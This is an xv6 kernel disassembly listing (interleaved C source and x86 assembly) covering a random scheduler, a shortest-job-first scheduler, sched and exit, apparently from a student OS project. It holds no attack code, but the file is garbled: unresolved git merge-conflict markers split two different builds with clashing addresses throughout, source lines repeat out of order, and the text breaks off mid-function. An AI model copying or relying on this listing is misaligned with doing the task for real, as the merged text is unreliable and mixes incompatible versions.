80103a70: 89 d0 mov %edx,%eax
80103a72: c1 e0 0d shl $0xd,%eax
80103a75: 31 d0 xor %edx,%eax
x ^=x>>17;
80103a77: 89 c2 mov %eax,%edx
80103a79: c1 ea 11 shr $0x11,%edx
80103a7c: 31 c2 xor %eax,%edx
x ^=x<<5;
80103a7e: 89 d0 mov %edx,%eax
80103a80: c1 e0 05 shl $0x5,%eax
80103a83: 31 d0 xor %edx,%eax
seed=x;
80103a85: a3 0c a0 10 80 mov %eax,0x8010a00c
x=x%n;
80103a8a: 83 e0 3f and $0x3f,%eax
return x+1;
<<<<<<< HEAD
80103b5f: 83 e6 3f and $0x3f,%esi
80103b62: 83 c6 01 add $0x1,%esi
80103b65: eb 14 jmp 80103b7b <scheduler_random+0x5b>
80103b67: 89 f6 mov %esi,%esi
80103b69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
=======
80103a8d: 8d 70 01 lea 0x1(%eax),%esi
80103a90: eb 11 jmp 80103aa3 <scheduler+0x53>
80103a92: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
x123=random(NPROC);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
<<<<<<< HEAD
80103b70: 83 eb 80 sub $0xffffff80,%ebx
80103b73: 81 fb d4 4d 11 80 cmp $0x80114dd4,%ebx
80103b79: 74 55 je 80103bd0 <scheduler_random+0xb0>
if(p->state != RUNNABLE || p->pid !=x123)
80103b7b: 83 7b 0c 03 cmpl $0x3,0xc(%ebx)
80103b7f: 75 ef jne 80103b70 <scheduler_random+0x50>
80103b81: 39 73 10 cmp %esi,0x10(%ebx)
80103b84: 75 ea jne 80103b70 <scheduler_random+0x50>
=======
80103a98: 83 eb 80 sub $0xffffff80,%ebx
80103a9b: 81 fb d4 4d 11 80 cmp $0x80114dd4,%ebx
80103aa1: 74 6d je 80103b10 <scheduler+0xc0>
if(p->state != RUNNABLE || p->pid !=x123)
80103aa3: 83 7b 0c 03 cmpl $0x3,0xc(%ebx)
80103aa7: 75 ef jne 80103a98 <scheduler+0x48>
80103aa9: 39 73 10 cmp %esi,0x10(%ebx)
80103aac: 75 ea jne 80103a98 <scheduler+0x48>
80103aae: 8d 43 6c lea 0x6c(%ebx),%eax
continue;
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
cprintf("proc %s %d----\n",p->name,p->pid);
80103ab1: 89 44 24 04 mov %eax,0x4(%esp)
80103ab5: 89 74 24 08 mov %esi,0x8(%esp)
80103ab9: c7 04 24 38 76 10 80 movl $0x80107638,(%esp)
80103ac0: e8 8b cb ff ff call 80100650 <cprintf>
proc = p;
switchuvm(p);
80103ac5: 89 1c 24 mov %ebx,(%esp)
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
cprintf("proc %s %d----\n",p->name,p->pid);
proc = p;
80103ac8: 65 89 1d 04 00 00 00 mov %ebx,%gs:0x4
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
x123=random(NPROC);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103acf: 83 eb 80 sub $0xffffff80,%ebx
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
cprintf("proc %s %d----\n",p->name,p->pid);
proc = p;
switchuvm(p);
<<<<<<< HEAD
80103b94: e8 e7 31 00 00 call 80106d80 <switchuvm>
=======
80103ad2: e8 29 30 00 00 call 80106b00 <switchuvm>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
p->state = RUNNING;
swtch(&cpu->scheduler, p->context);
80103ad7: 8b 43 9c mov -0x64(%ebx),%eax
// to release ptable.lock and then reacquire it
// before jumping back to us.
cprintf("proc %s %d----\n",p->name,p->pid);
proc = p;
switchuvm(p);
p->state = RUNNING;
80103ada: c7 43 8c 04 00 00 00 movl $0x4,-0x74(%ebx)
swtch(&cpu->scheduler, p->context);
<<<<<<< HEAD
80103ba7: 5a pop %edx
80103ba8: ff 73 9c pushl -0x64(%ebx)
80103bab: 83 c0 04 add $0x4,%eax
80103bae: 50 push %eax
80103baf: e8 e7 0d 00 00 call 8010499b <swtch>
switchkvm();
80103bb4: e8 a7 31 00 00 call 80106d60 <switchkvm>
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
80103bb9: 83 c4 10 add $0x10,%esp
=======
80103ae1: 89 44 24 04 mov %eax,0x4(%esp)
80103ae5: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80103aeb: 83 c0 04 add $0x4,%eax
80103aee: 89 04 24 mov %eax,(%esp)
80103af1: e8 45 0c 00 00 call 8010473b <swtch>
switchkvm();
80103af6: e8 e5 2f 00 00 call 80106ae0 <switchkvm>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
x123=random(NPROC);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103afb: 81 fb d4 4d 11 80 cmp $0x80114dd4,%ebx
swtch(&cpu->scheduler, p->context);
switchkvm();
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
80103b01: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80103b08: 00 00 00 00
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
x123=random(NPROC);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
<<<<<<< HEAD
80103bcd: 75 ac jne 80103b7b <scheduler_random+0x5b>
80103bcf: 90 nop
=======
80103b0c: 75 95 jne 80103aa3 <scheduler+0x53>
80103b0e: 66 90 xchg %ax,%ax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
}
release(&ptable.lock);
<<<<<<< HEAD
80103bd0: 83 ec 0c sub $0xc,%esp
80103bd3: 68 a0 2d 11 80 push $0x80112da0
80103bd8: e8 13 0b 00 00 call 801046f0 <release>
}
80103bdd: 83 c4 10 add $0x10,%esp
80103be0: e9 43 ff ff ff jmp 80103b28 <scheduler_random+0x8>
80103be5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103be9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103bf0 <scheduler_sjf>:
// Shortest Job First scheduler (change this selection of scheduler in main.c line 60)
void
scheduler_sjf(void)
{
80103bf0: 55 push %ebp
80103bf1: 89 e5 mov %esp,%ebp
80103bf3: 56 push %esi
80103bf4: 53 push %ebx
80103bf5: 81 ec 00 01 00 00 sub $0x100,%esp
80103bfb: 90 nop
80103bfc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103c00: fb sti
struct proc *p;
for(;;){
// Enable interrupts on this processor.
sti();
acquire(&ptable.lock);
80103c01: 83 ec 0c sub $0xc,%esp
// Determine least value of job length among runnable processes
// the list of such processes with same least jlength are 'in' in number and stored in the array sj[]
jl=100;
in=0;
80103c04: 31 db xor %ebx,%ebx
struct proc *p;
for(;;){
// Enable interrupts on this processor.
sti();
acquire(&ptable.lock);
80103c06: 68 a0 2d 11 80 push $0x80112da0
80103c0b: e8 00 09 00 00 call 80104510 <acquire>
80103c10: 83 c4 10 add $0x10,%esp
// Determine least value of job length among runnable processes
// the list of such processes with same least jlength are 'in' in number and stored in the array sj[]
jl=100;
in=0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103c13: b8 d4 2d 11 80 mov $0x80112dd4,%eax
sti();
acquire(&ptable.lock);
// Determine least value of job length among runnable processes
// the list of such processes with same least jlength are 'in' in number and stored in the array sj[]
jl=100;
80103c18: b9 64 00 00 00 mov $0x64,%ecx
80103c1d: eb 0b jmp 80103c2a <scheduler_sjf+0x3a>
80103c1f: 90 nop
in=0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103c20: 83 e8 80 sub $0xffffff80,%eax
80103c23: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80103c28: 74 2e je 80103c58 <scheduler_sjf+0x68>
{
if(p->state != RUNNABLE)
80103c2a: 83 78 0c 03 cmpl $0x3,0xc(%eax)
80103c2e: 75 f0 jne 80103c20 <scheduler_sjf+0x30>
continue;
if(p->jlength < jl)
80103c30: 8b 50 7c mov 0x7c(%eax),%edx
80103c33: 39 ca cmp %ecx,%edx
80103c35: 0f 8d cd 00 00 00 jge 80103d08 <scheduler_sjf+0x118>
{ jl=p->jlength; in=0; sj[in++]=p->pid; }
80103c3b: 8b 48 10 mov 0x10(%eax),%ecx
// Determine least value of job length among runnable processes
// the list of such processes with same least jlength are 'in' in number and stored in the array sj[]
jl=100;
in=0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103c3e: 83 e8 80 sub $0xffffff80,%eax
{
if(p->state != RUNNABLE)
continue;
if(p->jlength < jl)
{ jl=p->jlength; in=0; sj[in++]=p->pid; }
80103c41: bb 01 00 00 00 mov $0x1,%ebx
// Determine least value of job length among runnable processes
// the list of such processes with same least jlength are 'in' in number and stored in the array sj[]
jl=100;
in=0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103c46: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
{
if(p->state != RUNNABLE)
continue;
if(p->jlength < jl)
{ jl=p->jlength; in=0; sj[in++]=p->pid; }
80103c4b: 89 8d f8 fe ff ff mov %ecx,-0x108(%ebp)
80103c51: 89 d1 mov %edx,%ecx
// Determine least value of job length among runnable processes
// the list of such processes with same least jlength are 'in' in number and stored in the array sj[]
jl=100;
in=0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103c53: 75 d5 jne 80103c2a <scheduler_sjf+0x3a>
80103c55: 8d 76 00 lea 0x0(%esi),%esi
}
if(in>0)
x123=sj[random(in)-1]; // randomly choose a process from the list sj
else
x123=0;
80103c58: 31 f6 xor %esi,%esi
else if(p->jlength == jl)
sj[in++]=p->pid;
}
if(in>0)
80103c5a: 85 db test %ebx,%ebx
80103c5c: 74 2b je 80103c89 <scheduler_sjf+0x99>
//c=28411;
//m=ticks;
//seed=((a*seed+c)%134456);
//x=seed%n;
//release(&tickslock);
uint x=seed;
80103c5e: 8b 15 0c a0 10 80 mov 0x8010a00c,%edx
x ^=x<<13;
80103c64: 89 d0 mov %edx,%eax
80103c66: c1 e0 0d shl $0xd,%eax
80103c69: 31 c2 xor %eax,%edx
x ^=x>>17;
80103c6b: 89 d0 mov %edx,%eax
80103c6d: c1 e8 11 shr $0x11,%eax
80103c70: 31 c2 xor %eax,%edx
x ^=x<<5;
80103c72: 89 d0 mov %edx,%eax
80103c74: c1 e0 05 shl $0x5,%eax
80103c77: 31 d0 xor %edx,%eax
else if(p->jlength == jl)
sj[in++]=p->pid;
}
if(in>0)
x123=sj[random(in)-1]; // randomly choose a process from the list sj
80103c79: 31 d2 xor %edx,%edx
//release(&tickslock);
uint x=seed;
x ^=x<<13;
x ^=x>>17;
x ^=x<<5;
seed=x;
80103c7b: a3 0c a0 10 80 mov %eax,0x8010a00c
else if(p->jlength == jl)
sj[in++]=p->pid;
}
if(in>0)
x123=sj[random(in)-1]; // randomly choose a process from the list sj
80103c80: f7 f3 div %ebx
80103c82: 8b b4 95 f8 fe ff ff mov -0x108(%ebp,%edx,4),%esi
else
x123=0;
// Loop over process table looking for process to run.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103c89: bb d4 2d 11 80 mov $0x80112dd4,%ebx
80103c8e: eb 0b jmp 80103c9b <scheduler_sjf+0xab>
80103c90: 83 eb 80 sub $0xffffff80,%ebx
80103c93: 81 fb d4 4d 11 80 cmp $0x80114dd4,%ebx
80103c99: 74 55 je 80103cf0 <scheduler_sjf+0x100>
if(p->state != RUNNABLE || p->pid !=x123)
80103c9b: 83 7b 0c 03 cmpl $0x3,0xc(%ebx)
80103c9f: 75 ef jne 80103c90 <scheduler_sjf+0xa0>
80103ca1: 3b 73 10 cmp 0x10(%ebx),%esi
80103ca4: 75 ea jne 80103c90 <scheduler_sjf+0xa0>
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
//cprintf("----%d----\n",p->pid);
proc = p;
switchuvm(p);
80103ca6: 83 ec 0c sub $0xc,%esp
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
//cprintf("----%d----\n",p->pid);
proc = p;
80103ca9: 65 89 1d 04 00 00 00 mov %ebx,%gs:0x4
switchuvm(p);
80103cb0: 53 push %ebx
x123=sj[random(in)-1]; // randomly choose a process from the list sj
else
x123=0;
// Loop over process table looking for process to run.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103cb1: 83 eb 80 sub $0xffffff80,%ebx
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
//cprintf("----%d----\n",p->pid);
proc = p;
switchuvm(p);
80103cb4: e8 c7 30 00 00 call 80106d80 <switchuvm>
p->state = RUNNING;
80103cb9: c7 43 8c 04 00 00 00 movl $0x4,-0x74(%ebx)
swtch(&cpu->scheduler, p->context);
80103cc0: 58 pop %eax
80103cc1: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80103cc7: 5a pop %edx
80103cc8: ff 73 9c pushl -0x64(%ebx)
80103ccb: 83 c0 04 add $0x4,%eax
80103cce: 50 push %eax
80103ccf: e8 c7 0c 00 00 call 8010499b <swtch>
switchkvm();
80103cd4: e8 87 30 00 00 call 80106d60 <switchkvm>
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
80103cd9: 83 c4 10 add $0x10,%esp
x123=sj[random(in)-1]; // randomly choose a process from the list sj
else
x123=0;
// Loop over process table looking for process to run.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103cdc: 81 fb d4 4d 11 80 cmp $0x80114dd4,%ebx
swtch(&cpu->scheduler, p->context);
switchkvm();
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
80103ce2: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80103ce9: 00 00 00 00
x123=sj[random(in)-1]; // randomly choose a process from the list sj
else
x123=0;
// Loop over process table looking for process to run.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103ced: 75 ac jne 80103c9b <scheduler_sjf+0xab>
80103cef: 90 nop
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
}
release(&ptable.lock);
80103cf0: 83 ec 0c sub $0xc,%esp
80103cf3: 68 a0 2d 11 80 push $0x80112da0
80103cf8: e8 f3 09 00 00 call 801046f0 <release>
}
80103cfd: 83 c4 10 add $0x10,%esp
80103d00: e9 fb fe ff ff jmp 80103c00 <scheduler_sjf+0x10>
80103d05: 8d 76 00 lea 0x0(%esi),%esi
continue;
if(p->jlength < jl)
{ jl=p->jlength; in=0; sj[in++]=p->pid; }
else if(p->jlength == jl)
80103d08: 0f 85 12 ff ff ff jne 80103c20 <scheduler_sjf+0x30>
sj[in++]=p->pid;
80103d0e: 8b 50 10 mov 0x10(%eax),%edx
80103d11: 89 94 9d f8 fe ff ff mov %edx,-0x108(%ebp,%ebx,4)
80103d18: 83 c3 01 add $0x1,%ebx
80103d1b: e9 00 ff ff ff jmp 80103c20 <scheduler_sjf+0x30>
80103d20 <sched>:
=======
80103b10: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103b17: e8 94 09 00 00 call 801044b0 <release>
}
80103b1c: e9 37 ff ff ff jmp 80103a58 <scheduler+0x8>
80103b21: eb 0d jmp 80103b30 <sched>
80103b23: 90 nop
80103b24: 90 nop
80103b25: 90 nop
80103b26: 90 nop
80103b27: 90 nop
80103b28: 90 nop
80103b29: 90 nop
80103b2a: 90 nop
80103b2b: 90 nop
80103b2c: 90 nop
80103b2d: 90 nop
80103b2e: 90 nop
80103b2f: 90 nop
80103b30 <sched>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// be proc->intena and proc->ncli, but that would
// break in the few places where a lock is held but
// there's no process.
void
sched(void)
{
<<<<<<< HEAD
80103d20: 55 push %ebp
80103d21: 89 e5 mov %esp,%ebp
80103d23: 53 push %ebx
80103d24: 83 ec 10 sub $0x10,%esp
int intena;
if(!holding(&ptable.lock))
80103d27: 68 a0 2d 11 80 push $0x80112da0
80103d2c: e8 0f 09 00 00 call 80104640 <holding>
80103d31: 83 c4 10 add $0x10,%esp
80103d34: 85 c0 test %eax,%eax
80103d36: 74 4c je 80103d84 <sched+0x64>
panic("sched ptable.lock");
if(cpu->ncli != 1)
80103d38: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80103d3f: 83 ba ac 00 00 00 01 cmpl $0x1,0xac(%edx)
80103d46: 75 63 jne 80103dab <sched+0x8b>
panic("sched locks");
if(proc->state == RUNNING)
80103d48: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103d4e: 83 78 0c 04 cmpl $0x4,0xc(%eax)
80103d52: 74 4a je 80103d9e <sched+0x7e>
=======
80103b30: 55 push %ebp
80103b31: 89 e5 mov %esp,%ebp
80103b33: 53 push %ebx
80103b34: 83 ec 14 sub $0x14,%esp
int intena;
if(!holding(&ptable.lock))
80103b37: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103b3e: e8 cd 08 00 00 call 80104410 <holding>
80103b43: 85 c0 test %eax,%eax
80103b45: 74 4d je 80103b94 <sched+0x64>
panic("sched ptable.lock");
if(cpu->ncli != 1)
80103b47: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80103b4d: 83 b8 ac 00 00 00 01 cmpl $0x1,0xac(%eax)
80103b54: 75 62 jne 80103bb8 <sched+0x88>
panic("sched locks");
if(proc->state == RUNNING)
80103b56: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80103b5d: 83 7a 0c 04 cmpl $0x4,0xc(%edx)
80103b61: 74 49 je 80103bac <sched+0x7c>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
<<<<<<< HEAD
80103d54: 9c pushf
80103d55: 59 pop %ecx
panic("sched running");
if(readeflags()&FL_IF)
80103d56: 80 e5 02 and $0x2,%ch
80103d59: 75 36 jne 80103d91 <sched+0x71>
panic("sched interruptible");
intena = cpu->intena;
swtch(&proc->context, cpu->scheduler);
80103d5b: 83 ec 08 sub $0x8,%esp
80103d5e: 83 c0 1c add $0x1c,%eax
panic("sched locks");
if(proc->state == RUNNING)
panic("sched running");
if(readeflags()&FL_IF)
panic("sched interruptible");
intena = cpu->intena;
80103d61: 8b 9a b0 00 00 00 mov 0xb0(%edx),%ebx
swtch(&proc->context, cpu->scheduler);
80103d67: ff 72 04 pushl 0x4(%edx)
80103d6a: 50 push %eax
80103d6b: e8 2b 0c 00 00 call 8010499b <swtch>
cpu->intena = intena;
80103d70: 65 a1 00 00 00 00 mov %gs:0x0,%eax
}
80103d76: 83 c4 10 add $0x10,%esp
=======
80103b63: 9c pushf
80103b64: 59 pop %ecx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
panic("sched running");
if(readeflags()&FL_IF)
80103b65: 80 e5 02 and $0x2,%ch
80103b68: 75 36 jne 80103ba0 <sched+0x70>
panic("sched interruptible");
intena = cpu->intena;
80103b6a: 8b 98 b0 00 00 00 mov 0xb0(%eax),%ebx
swtch(&proc->context, cpu->scheduler);
80103b70: 83 c2 1c add $0x1c,%edx
80103b73: 8b 40 04 mov 0x4(%eax),%eax
80103b76: 89 14 24 mov %edx,(%esp)
80103b79: 89 44 24 04 mov %eax,0x4(%esp)
80103b7d: e8 b9 0b 00 00 call 8010473b <swtch>
cpu->intena = intena;
<<<<<<< HEAD
80103d79: 89 98 b0 00 00 00 mov %ebx,0xb0(%eax)
}
80103d7f: 8b 5d fc mov -0x4(%ebp),%ebx
80103d82: c9 leave
80103d83: c3 ret
=======
80103b82: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80103b88: 89 98 b0 00 00 00 mov %ebx,0xb0(%eax)
}
80103b8e: 83 c4 14 add $0x14,%esp
80103b91: 5b pop %ebx
80103b92: 5d pop %ebp
80103b93: c3 ret
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
sched(void)
{
int intena;
if(!holding(&ptable.lock))
panic("sched ptable.lock");
<<<<<<< HEAD
80103d84: 83 ec 0c sub $0xc,%esp
80103d87: 68 b8 78 10 80 push $0x801078b8
80103d8c: e8 df c5 ff ff call 80100370 <panic>
=======
80103b94: c7 04 24 48 76 10 80 movl $0x80107648,(%esp)
80103b9b: e8 c0 c7 ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(cpu->ncli != 1)
panic("sched locks");
if(proc->state == RUNNING)
panic("sched running");
if(readeflags()&FL_IF)
panic("sched interruptible");
<<<<<<< HEAD
80103d91: 83 ec 0c sub $0xc,%esp
80103d94: 68 e4 78 10 80 push $0x801078e4
80103d99: e8 d2 c5 ff ff call 80100370 <panic>
=======
80103ba0: c7 04 24 74 76 10 80 movl $0x80107674,(%esp)
80103ba7: e8 b4 c7 ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(!holding(&ptable.lock))
panic("sched ptable.lock");
if(cpu->ncli != 1)
panic("sched locks");
if(proc->state == RUNNING)
panic("sched running");
<<<<<<< HEAD
80103d9e: 83 ec 0c sub $0xc,%esp
80103da1: 68 d6 78 10 80 push $0x801078d6
80103da6: e8 c5 c5 ff ff call 80100370 <panic>
=======
80103bac: c7 04 24 66 76 10 80 movl $0x80107666,(%esp)
80103bb3: e8 a8 c7 ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int intena;
if(!holding(&ptable.lock))
panic("sched ptable.lock");
if(cpu->ncli != 1)
panic("sched locks");
<<<<<<< HEAD
80103dab: 83 ec 0c sub $0xc,%esp
80103dae: 68 ca 78 10 80 push $0x801078ca
80103db3: e8 b8 c5 ff ff call 80100370 <panic>
80103db8: 90 nop
80103db9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103dc0 <exit>:
=======
80103bb8: c7 04 24 5a 76 10 80 movl $0x8010765a,(%esp)
80103bbf: e8 9c c7 ff ff call 80100360 <panic>
80103bc4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103bca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103bd0 <exit>:
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
exit(void)
{
80103bd0: 55 push %ebp
80103bd1: 89 e5 mov %esp,%ebp
80103bd3: 56 push %esi
80103bd4: 53 push %ebx
struct proc *p;
int fd;
if(proc == initproc)
<<<<<<< HEAD
80103dc0: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80103dc7: 3b 15 bc a5 10 80 cmp 0x8010a5bc,%edx
=======
80103bd5: 31 db xor %ebx,%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
<<<<<<< HEAD
80103dcd: 55 push %ebp
80103dce: 89 e5 mov %esp,%ebp
80103dd0: 56 push %esi
80103dd1: 53 push %ebx
=======
80103bd7: 83 ec 10 sub $0x10,%esp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
struct proc *p;
int fd;
if(proc == initproc)
<<<<<<< HEAD
80103dd2: 0f 84 1f 01 00 00 je 80103ef7 <exit+0x137>
80103dd8: 31 db xor %ebx,%ebx
80103dda: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
=======
80103bda: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80103be1: 3b 15 bc a5 10 80 cmp 0x8010a5bc,%edx
80103be7: 0f 84 01 01 00 00 je 80103cee <exit+0x11e>
80103bed: 8d 76 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd]){
<<<<<<< HEAD
80103de0: 8d 73 08 lea 0x8(%ebx),%esi
80103de3: 8b 44 b2 08 mov 0x8(%edx,%esi,4),%eax
80103de7: 85 c0 test %eax,%eax
80103de9: 74 1b je 80103e06 <exit+0x46>
fileclose(proc->ofile[fd]);
80103deb: 83 ec 0c sub $0xc,%esp
80103dee: 50 push %eax
80103def: e8 1c d0 ff ff call 80100e10 <fileclose>
proc->ofile[fd] = 0;
80103df4: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80103dfb: 83 c4 10 add $0x10,%esp
80103dfe: c7 44 b2 08 00 00 00 movl $0x0,0x8(%edx,%esi,4)
80103e05: 00
=======
80103bf0: 8d 73 08 lea 0x8(%ebx),%esi
80103bf3: 8b 44 b2 08 mov 0x8(%edx,%esi,4),%eax
80103bf7: 85 c0 test %eax,%eax
80103bf9: 74 17 je 80103c12 <exit+0x42>
fileclose(proc->ofile[fd]);
80103bfb: 89 04 24 mov %eax,(%esp)
80103bfe: e8 1d d2 ff ff call 80100e20 <fileclose>
proc->ofile[fd] = 0;
80103c03: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80103c0a: c7 44 b2 08 00 00 00 movl $0x0,0x8(%edx,%esi,4)
80103c11: 00
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(proc == initproc)
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
<<<<<<< HEAD
80103e06: 83 c3 01 add $0x1,%ebx
80103e09: 83 fb 10 cmp $0x10,%ebx
80103e0c: 75 d2 jne 80103de0 <exit+0x20>
=======
80103c12: 83 c3 01 add $0x1,%ebx
80103c15: 83 fb 10 cmp $0x10,%ebx
80103c18: 75 d6 jne 80103bf0 <exit+0x20>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
fileclose(proc->ofile[fd]);
proc->ofile[fd] = 0;
}
}
begin_op();
<<<<<<< HEAD
80103e0e: e8 9d ed ff ff call 80102bb0 <begin_op>
iput(proc->cwd);
80103e13: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103e19: 83 ec 0c sub $0xc,%esp
80103e1c: ff 70 68 pushl 0x68(%eax)
80103e1f: e8 5c d9 ff ff call 80101780 <iput>
end_op();
80103e24: e8 f7 ed ff ff call 80102c20 <end_op>
proc->cwd = 0;
80103e29: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103e2f: c7 40 68 00 00 00 00 movl $0x0,0x68(%eax)
acquire(&ptable.lock);
80103e36: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103e3d: e8 ce 06 00 00 call 80104510 <acquire>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
80103e42: 65 8b 0d 04 00 00 00 mov %gs:0x4,%ecx
80103e49: 83 c4 10 add $0x10,%esp
=======
80103c1a: e8 61 ef ff ff call 80102b80 <begin_op>
iput(proc->cwd);
80103c1f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103c25: 8b 40 68 mov 0x68(%eax),%eax
80103c28: 89 04 24 mov %eax,(%esp)
80103c2b: e8 90 db ff ff call 801017c0 <iput>
end_op();
80103c30: e8 bb ef ff ff call 80102bf0 <end_op>
proc->cwd = 0;
80103c35: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103c3b: c7 40 68 00 00 00 00 movl $0x0,0x68(%eax)
acquire(&ptable.lock);
80103c42: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103c49: e8 32 07 00 00 call 80104380 <acquire>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
80103c4e: 65 8b 0d 04 00 00 00 mov %gs:0x4,%ecx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
<<<<<<< HEAD
80103e4c: b8 d4 2d 11 80 mov $0x80112dd4,%eax
=======
80103c55: b8 d4 2d 11 80 mov $0x80112dd4,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
proc->cwd = 0;
acquire(&ptable.lock);
// Parent might be sleeping in wait().
wakeup1(proc->parent);
<<<<<<< HEAD
80103e51: 8b 51 14 mov 0x14(%ecx),%edx
80103e54: eb 14 jmp 80103e6a <exit+0xaa>
80103e56: 8d 76 00 lea 0x0(%esi),%esi
80103e59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
=======
80103c5a: 8b 51 14 mov 0x14(%ecx),%edx
80103c5d: eb 0b jmp 80103c6a <exit+0x9a>
80103c5f: 90 nop
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
<<<<<<< HEAD
80103e60: 83 e8 80 sub $0xffffff80,%eax
80103e63: 3d d4 4d 11 80 cmp $0x80114dd4,%eax
80103e68: 74 1c je 80103e86 <exit+0xc6>
if(p->state == SLEEPING && p->chan == chan)
80103e6a: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103e6e: 75 f0 jne 80103e60 <exit+0xa0>
80103e70: 3b 50 20 cmp 0x20(%eax),%edx
80103e73: 75 eb jne 80103e60 <exit+0xa0>
p->state = RUNNABLE;
